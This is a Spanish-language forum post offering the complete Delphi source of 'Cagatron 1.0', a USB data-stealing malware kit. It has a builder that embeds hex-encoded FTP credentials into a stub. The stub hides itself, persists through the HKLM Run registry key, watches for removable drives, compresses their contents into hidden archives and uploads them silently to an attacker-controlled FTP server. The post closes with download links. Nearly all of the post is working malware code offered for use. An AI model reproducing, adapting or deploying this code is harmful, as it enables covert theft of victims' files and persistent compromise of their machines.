[+] Detecta cualquier USB conectado a la computadora
[+] Comprime los datos un archivo comprimido en una carpeta oculta de la computadora
[+] Permite la opcion de enviar los datos por FTP o dejarlos en la computadora
Una imagen :
Los codigos :
El generador.
// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos
unit caga;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, sevenzip, Vcl.ComCtrls, Vcl.StdCtrls,
ShellApi,
Vcl.Menus, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdExplicitTLSClientServerBase, IdFTP, Vcl.ExtCtrls, Vcl.Imaging.pngimage;
type
TForm1 = class(TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
StatusBar1: TStatusBar;
PageControl2: TPageControl;
TabSheet4: TTabSheet;
usb_found: TListView;
TabSheet5: TTabSheet;
TabSheet6: TTabSheet;
GroupBox1: TGroupBox;
Label1: TLabel;
ftp_host: TEdit;
Label2: TLabel;
ftp_user: TEdit;
Label3: TLabel;
ftp_pass: TEdit;
Label4: TLabel;
ftp_path: TEdit;
GroupBox2: TGroupBox;
enter_usb: TEdit;
Button1: TButton;
Button2: TButton;
GroupBox3: TGroupBox;
upload_ftp_server: TRadioButton;
TabSheet7: TTabSheet;
GroupBox4: TGroupBox;
console: TMemo;
TabSheet8: TTabSheet;
only_logs: TRadioButton;
logs: TListView;
rutas: TListBox;
menu: TPopupMenu;
L1: TMenuItem;
IdFTP1: TIdFTP;
buscar_usb: TTimer;
otromenu: TPopupMenu;
S1: TMenuItem;
opcion_text: TEdit;
PageControl3: TPageControl;
TabSheet9: TTabSheet;
TabSheet10: TTabSheet;
GroupBox5: TGroupBox;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
ftp_host2: TEdit;
ftp_user2: TEdit;
ftp_pass2: TEdit;
ftp_path2: TEdit;
GroupBox7: TGroupBox;
directorios: TComboBox;
GroupBox6: TGroupBox;
foldername: TEdit;
Button3: TButton;
GroupBox8: TGroupBox;
Image1: TImage;
Label9: TLabel;
Image2: TImage;
GroupBox9: TGroupBox;
hide_file: TCheckBox;
upload_ftp: TCheckBox;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure list_files;
procedure L1Click(Sender: TObject);
procedure buscar_usbTimer(Sender: TObject);
procedure S1Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
uno, dos: DWORD;
resultnow: array [0 .. MAX_PATH] of Char;
begin
try
GetVolumeInformation(PChar(checked + ':/'), resultnow, sizeof(resultnow),
nil, uno, dos, nil, 0);
Result := StrPas(resultnow);
except
Result := checked;
end;
end;
function check_drive(target: string): boolean;
var
a, b, c: cardinal;
begin
Result := GetVolumeInformation(PChar(target), nil, 0, @c, a, b, nil, 0);
end;
function file_size(target: String): integer;
var
busqueda: TSearchRec;
begin
Result := 0;
try
begin
if FindFirst(target + '\*.*', faAnyFile + faDirectory + faReadOnly,
busqueda) = 0 then
begin
repeat
Inc(Result);
until FindNext(busqueda) <> 0;
System.SysUtils.FindClose(busqueda);
end;
end;
except
Result := 0;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
if not DirectoryExists('logs') then
begin
CreateDir('logs');
end;
Chdir('logs');
list_files;
end;
procedure TForm1.L1Click(Sender: TObject);
begin
ShellExecute(0, nil, PChar(rutas.Items[logs.Selected.Index]), nil, nil,
SW_SHOWNORMAL);
end;
procedure TForm1.list_files;
var
search: TSearchRec;
ext: string;
fecha1: integer;
begin
logs.Items.Clear();
rutas.Items.Clear();
FindFirst(ExtractFilePath(Application.ExeName) + 'logs' + '\*.*',
faAnyFile, search);
while FindNext(search) = 0 do
begin
ext := ExtractFileExt(search.Name);
if (ext = '.zip') then
begin
with logs.Items.Add do
begin
fecha1 := FileAge(ExtractFilePath(Application.ExeName) + 'logs/' +
search.Name);
rutas.Items.Add(ExtractFilePath(Application.ExeName) + 'logs/' +
search.Name);
Caption := search.Name;
SubItems.Add(DateToStr(FileDateToDateTime(fecha1)));
end;
end;
end;
FindClose(search);
end;
procedure TForm1.S1Click(Sender: TObject);
begin
opcion_text.Text := usb_found.Selected.Caption;
enter_usb.Text := usb_found.Selected.SubItems[1];
end;
procedure TForm1.buscar_usbTimer(Sender: TObject);
var
unidad: Char;
begin
usb_found.Items.Clear();
for unidad := 'C' to 'Z' do
begin
if (check_drive(PChar(unidad + ':\')) = True) and
(GetDriveType(PChar(unidad + ':\')) = DRIVE_REMOVABLE) then
begin
with usb_found.Items.Add do
begin
Caption := usb_name(unidad);
SubItems.Add(IntToStr(file_size(unidad + ':\')));
SubItems.Add(unidad + ':\');
end;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
with TFileOpenDialog.Create(nil) do
try
Options := [fdoPickFolders];
if Execute then
enter_usb.Text := Filename;
finally
Free;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
zipnow: I7zOutArchive;
busqueda: TSearchRec;
code: string;
dirnow: string;
guardar: string;
begin
dirnow := enter_usb.Text;
if not FileExists(PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'))
then
begin
CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
end;
if not(opcion_text.Text = '') then
begin
guardar := opcion_text.Text + '.zip';
end
else
begin
guardar := ExtractFileName(dirnow) + '.zip';
end;
StatusBar1.Panels[0].Text := '[+] Saving ...';
Form1.StatusBar1.Update;
console.Lines.Add('[+] Saving ..');
zipnow := CreateOutArchive(CLSID_CFormat7z);
SetCompressionLevel(zipnow, 9);
SevenZipSetCompressionMethod(zipnow, m7LZMA);
if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
busqueda) = 0 then
begin
repeat
if (busqueda.Attr = faDirectory) then
begin
if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
begin
console.Lines.Add('[+] Saving Directory : ' + busqueda.Name);
// StatusBar1.Panels[0].Text := '[+] Saving Directory : ' + busqueda.Name;
// Form1.StatusBar1.Update;
zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
'*.*', True);
end;
end
else
begin
console.Lines.Add('[+] Saving File : ' + busqueda.Name);
// StatusBar1.Panels[0].Text := '[+] Saving File : ' + busqueda.Name;
// Form1.StatusBar1.Update;
zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
end;
until FindNext(busqueda) <> 0;
System.SysUtils.FindClose(busqueda);
end;
zipnow.SaveToFile(guardar);
if (upload_ftp_server.checked) then
begin
IdFTP1.Host := ftp_host.Text;
IdFTP1.Username := ftp_user.Text;
IdFTP1.Password := ftp_pass.Text;
try
IdFTP1.Connect;
except
StatusBar1.Panels[0].Text := '[-] Error Uploading';
Form1.StatusBar1.Update;
end;
StatusBar1.Panels[0].Text := '[+] Uploading ...';
Form1.StatusBar1.Update;
IdFTP1.ChangeDir(ftp_path.Text);
IdFTP1.Put(guardar, guardar, False);
end;
list_files;
console.Lines.Add('[+] Ready');
StatusBar1.Panels[0].Text := '[+] Ready';
Form1.StatusBar1.Update;
opcion_text.Text := '';
end;
procedure TForm1.Button3Click(Sender: TObject);
var
lineafinal: string;
hidefile: string;
uploadftp: string;
aca: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
stubgenerado: string;
begin
if (hide_file.checked) then
begin
hidefile := '1';
end
else
begin
hidefile := '0';
end;
if (upload_ftp.checked) then
begin
uploadftp := '1';
end
else
begin
uploadftp := '0';
end;
lineafinal := '[63686175]' + dhencode('[online]1[online]' + '[directorios]' +
directorios.Text + '[directorios]' + '[carpeta]' + foldername.Text +
'[carpeta]' + '[ocultar]' + hidefile + '[ocultar]' + '[ftp_op]' + uploadftp
+ '[ftp_op]' + '[ftp_host]' + ftp_host.Text + '[ftp_host]' + '[ftp_user]' +
ftp_user.Text + '[ftp_user]' + '[ftp_pass]' + ftp_pass.Text + '[ftp_pass]' +
'[ftp_path]' + ftp_path.Text + '[ftp_path]', 'encode') + '[63686175]';
aca := INVALID_HANDLE_VALUE;
nose := 0;
stubgenerado := 'cagatron_ready.exe';
DeleteFile(stubgenerado);
CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
'Data/cagatron_server.exe'), PChar(ExtractFilePath(Application.ExeName) +
'/' + stubgenerado), True);
CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
StrCopy(code, PChar(lineafinal));
aca := CreateFile(PChar(ExtractFilePath(Application.ExeName) +
'/cagatron_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
OPEN_EXISTING, 0, 0);
if (aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(aca, 0, nil, FILE_END);
WriteFile(aca, code, 9999, nose, nil);
CloseHandle(aca);
end;
StatusBar1.Panels[0].Text := '[+] Done';
Form1.StatusBar1.Update;
end;
end.
// The End ?// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos
program cagatron_server;
{$APPTYPE GUI}
{$R *.res}
uses
SysUtils, WinInet, Windows, sevenzip;
var
directorio, directorio_final, carpeta, nombrereal, yalisto: string;
hide_op: string;
registro: HKEY;
ftp_op, ftp_host, ftp_user, ftp_pass, ftp_path: string;
online: string;
ob: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
todo: string;
// Functions
function regex(text: String; deaca: String; hastaaca: String): String;
begin
Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
SetLength(text, AnsiPos(hastaaca, text) - 1);
Result := text;
end;
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
procedure comprimir(dirnow, guardar: string);
var
zipnow: I7zOutArchive;
busqueda: TSearchRec;
begin
zipnow := CreateOutArchive(CLSID_CFormat7z);
SetCompressionLevel(zipnow, 9);
SevenZipSetCompressionMethod(zipnow, m7LZMA);
if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
busqueda) = 0 then
begin
repeat
if (busqueda.Attr = faDirectory) then
begin
if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
begin
zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
'*.*', True);
end;
end
else
begin
zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
end;
until FindNext(busqueda) <> 0;
System.SysUtils.FindClose(busqueda);
end;
zipnow.SaveToFile(guardar);
if (hide_op = '1') then
begin
SetFileAttributes(pchar(guardar), FILE_ATTRIBUTE_HIDDEN);
end;
end;
function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
uno, dos: DWORD;
resultnow: array [0 .. MAX_PATH] of Char;
begin
try
GetVolumeInformation(pchar(checked + ':/'), resultnow, sizeof(resultnow),
nil, uno, dos, nil, 0);
Result := StrPas(resultnow);
except
Result := checked;
end;
end;
function check_drive(target: string): boolean;
var
a, b, c: cardinal;
begin
Result := GetVolumeInformation(pchar(target), nil, 0, @c, a, b, nil, 0);
end;
function check_file_ftp(host, username, password, archivo: pchar): integer;
var
controluno: HINTERNET;
controldos: HINTERNET;
abriendo: HINTERNET;
valor: integer;
begin
controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
abriendo := ftpOpenfile(controldos, pchar(archivo), GENERIC_READ,
FTP_TRANSFER_TYPE_BINARY, 0);
valor := ftpGetFileSize(abriendo, nil);
InternetCloseHandle(controldos);
InternetCloseHandle(controluno);
Result := valor;
end;
procedure upload_ftpfile(host, username, password, filetoupload,
conestenombre: pchar);
// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal
var
controluno: HINTERNET;
controldos: HINTERNET;
begin
try
begin
controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
ftpPutFile(controldos, filetoupload, conestenombre,
FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(controldos);
InternetCloseHandle(controluno);
end
except
//
end;
end;
procedure buscar_usb;
var
unidad: Char;
usb_target, usb_nombre: string;
begin
while (1 = 1) do
begin
Sleep(5000);
for unidad := 'C' to 'Z' do
begin
if (check_drive(pchar(unidad + ':\')) = True) and
(GetDriveType(pchar(unidad + ':\')) = DRIVE_REMOVABLE) then
begin
usb_target := unidad + ':\';
usb_nombre := usb_name(unidad) + '.zip';
if not(FileExists(usb_nombre)) then
begin
// Writeln('[+] Saving ' + usb_target + ' : ' + usb_nombre + ' ...');
comprimir(usb_target, usb_nombre);
// Writeln('[+] Saved');
if (ftp_op = '1') then
begin
// Writeln('[+] Checking file in FTP ...');
if (check_file_ftp(pchar(ftp_host), pchar(ftp_user),
pchar(ftp_pass), pchar('/' + ftp_path + '/' + usb_nombre)) = -1)
then
begin
// Writeln('[+] Uploading ...');
upload_ftpfile(pchar(ftp_host), pchar(ftp_user), pchar(ftp_pass),
pchar(usb_nombre), pchar('/' + ftp_path + '/' + usb_nombre));
// Writeln('[+] Done');
end
else
begin
// Writeln('[+] File exists');
end;
end;
end;
end;
end;
end;
end;
begin
try
ob := INVALID_HANDLE_VALUE;
code := '';
ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, 0, 0);
if (ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(ob, -9999, nil, FILE_END);
ReadFile(ob, code, 9999, nose, nil);
CloseHandle(ob);
end;
todo := regex(code, '[63686175]', '[63686175]');
todo := dhencode(todo, 'decode');
directorio := pchar(regex(todo, '[directorios]', '[directorios]'));
carpeta := pchar(regex(todo, '[carpeta]', '[carpeta]'));
directorio_final := GetEnvironmentVariable(directorio) + '/' + carpeta;
hide_op := pchar(regex(todo, '[ocultar]', '[ocultar]'));
ftp_op := pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
ftp_host := pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
ftp_user := pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
ftp_pass := pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
ftp_path := pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
online := pchar(regex(todo, '[online]', '[online]'));
if (online = '1') then
begin
nombrereal := ExtractFileName(paramstr(0));
yalisto := directorio_final + '/' + nombrereal;
if not(DirectoryExists(directorio_final)) then
begin
CreateDir(directorio_final);
end;
// CopyFile(pchar(paramstr(0)), pchar(yalisto), False);
MoveFile(pchar(paramstr(0)), pchar(yalisto));
if (hide_op = '1') then
begin
SetFileAttributes(pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
end;
if (FileExists('7z.dll')) then
begin
// CopyFile(pchar('7z.dll'),
// pchar(directorio_final + '/' + '7z.dll'), False);
MoveFile(pchar('7z.dll'), pchar(directorio_final + '/' + '7z.dll'));
if (hide_op = '1') then
begin
SetFileAttributes(pchar(directorio_final + '/' + '7z.dll'),
FILE_ATTRIBUTE_HIDDEN);
end;
end;
ChDir(directorio_final);
if (hide_op = '1') then
begin
SetFileAttributes(pchar(directorio_final), FILE_ATTRIBUTE_HIDDEN);
end;
try
begin
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
RegSetValueEx(registro, 'uberk', 0, REG_SZ, pchar(yalisto), 666);
RegCloseKey(registro);
end;
except
//
end;
// Writeln('[+] Searching USB ...');
BeginThread(nil, 0, @buscar_usb, nil, 0, PDWORD(0)^);
while (1 = 1) do
Sleep(5000);
end
else
begin
// Writeln('[+] Offline');
end;
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
end.
// The End ?[Enlace externo eliminado para invitados]
Si quieren bajar el programa lo pueden hacer de aca :
[Enlace externo eliminado para invitados].
[Enlace externo eliminado para invitados].
Eso seria todo.
